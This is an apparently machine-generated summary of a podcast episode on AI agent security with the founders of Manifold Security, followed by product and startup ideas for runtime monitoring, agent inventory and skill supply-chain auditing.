E195: Taking on the New AI Attack Surface With Manifold: Runtime, Skills & Supply Chains

The podcast discusses the evolution of AI security, focusing on the work of Neil and Alex, who transitioned from securing model outputs to addressing broader challenges as AI systems became more autonomous. Neils background in finance and product management included securing vision models against adversarial attacks, while Alexs engineering expertise and open-source contributions led to the development of LM Guard, a widely adopted tool for detecting malicious AI responses. The pair later co-founded Manifold Security to address the growing need for securing AI-driven actions, such as executing tasks or interacting with endpoints, rather than just model outputs. They highlight a market shift toward runtime security, as traditional guardrail-based approaches fail to address the complexity of agents, including their interactions with external systems and supply chain risks. This transition is compounded by the lack of visibility into agent behavior and third-party components, creating new vulnerabilities that existing security frameworks cannot resolve.

The conversation emphasizes challenges in runtime security, including the difficulty of monitoring AI agents actions, detecting risks in real time, and managing supply chain exposure from open-source skills and libraries. Manifolds approach centers on runtime detection and response, leveraging supply chain transparency and inventory management to address gaps in enterprise readiness. Lessons from prior projects like LM Guard are applied to build open-source foundations that balance usability and security, with a focus on enabling cross-functional teams through accessible tools. The podcast also critiques existing vendors for generating noise and insufficient actionable insights, underscoring the need for frameworks that provide context-aware analysis of agent behavior and alternative recommendations to mitigate risks. Finally, it stresses the importance of community engagement, clear value propositions, and adapting legacy security practices to meet the evolving demands of AI-driven systems.

• What if you built an open-source runtime monitoring tool for AI agents, focused on detecting unauthorized API or endpoint interactions?

  • Concrete move: Develop a lightweight agent that hooks into common AI agent frameworks (e.g., LangChain, AutoGen) to log and analyze invocation chains, flagging risky actions like unauthorized API calls or file writes.
  • Why now: With enterprises rapidly adopting AI agents for autonomous tasks (e.g., DevOps, customer support), runtime security gaps are urgent. Existing tools focus on model outputs, not agent actions.
  • Expected upside: Early adopters (engineering teams) may adopt it for compliance, leading to community traction and partnerships with cloud providers or enterprise security platforms.

• What if you created an agent inventory tool to map and audit all AI agents, skills, and dependencies across a companys infrastructure?

  • Concrete move: Build a CLI or integration for cloud platforms (e.g., AWS, Azure) to scan for deployed agents, track their dependencies, and generate a risk dashboard (e.g., "unknown skills," "untrusted authors").
  • Why now: Enterprises lack visibility into their AI agent ecosystems, leading to unmitigated supply chain risks. Manifests ecosystem graph aligns with this need.
  • Expected upside: Enterprises might adopt it as a foundational layer for governance, enabling monetization via SaaS subscriptions or integrations with enterprise security workflows.

• What if you launched a framework to evaluate AI agent "skills" using execution graphs and lineage analysis, similar to how LM Guard analyzed model outputs?

  • Concrete move: Create an open-source tool that parses agent skill manifests, maps execution paths, and flags risky behavior (e.g., writing to system files) using community-curated rules.
  • Why now: Skills are proliferating as AI agent components, but theres no standard for evaluating their trustworthiness. Competitors like Ciscos scanners fail to provide actionable insights.
  • Expected upside: Developers might adopt it for secure skill deployment, while security teams could use it to reduce noise in their workflows, driving adoption in regulated industries.

• Build an open-source runtime security tool for AI agents: Focus on detecting and mitigating risks during execution, such as unauthorized API calls or endpoint interactions, by analyzing agent behavior in real time (inspired by LM Guard's success in text-based threat detection).

• Prioritize supply chain visibility tools for AI agent components: Create a tool to map and audit agent dependencies, external assets, and third-party skills, enabling risk assessment and inventory management (addressing the "massive untapped supply chain" challenge mentioned in the text).

• Adopt an open-core model with early community engagement: Define your open-source projects scope and licensing strategy upfront, using community feedback to refine features and validate product-market fit (learned from LM Guards approach to avoid ambiguity and maintain competitive differentiation).

• Develop runtime posture management (RPM) for agent security: Build tools that analyze full invocation chains and contextual interactions (not isolated events) to detect risks in AI agents, addressing the gap between existing tools and modern agent security requirements.

• Create a dual-purpose platform with open-source and commercial tiers: Design a solution that offers free, open-source components for community adoption while packaging premium features (e.g., enterprise reporting, supply chain risk scoring) for commercialization, aligning with Manifests strategy to drive network effects and enterprise readiness.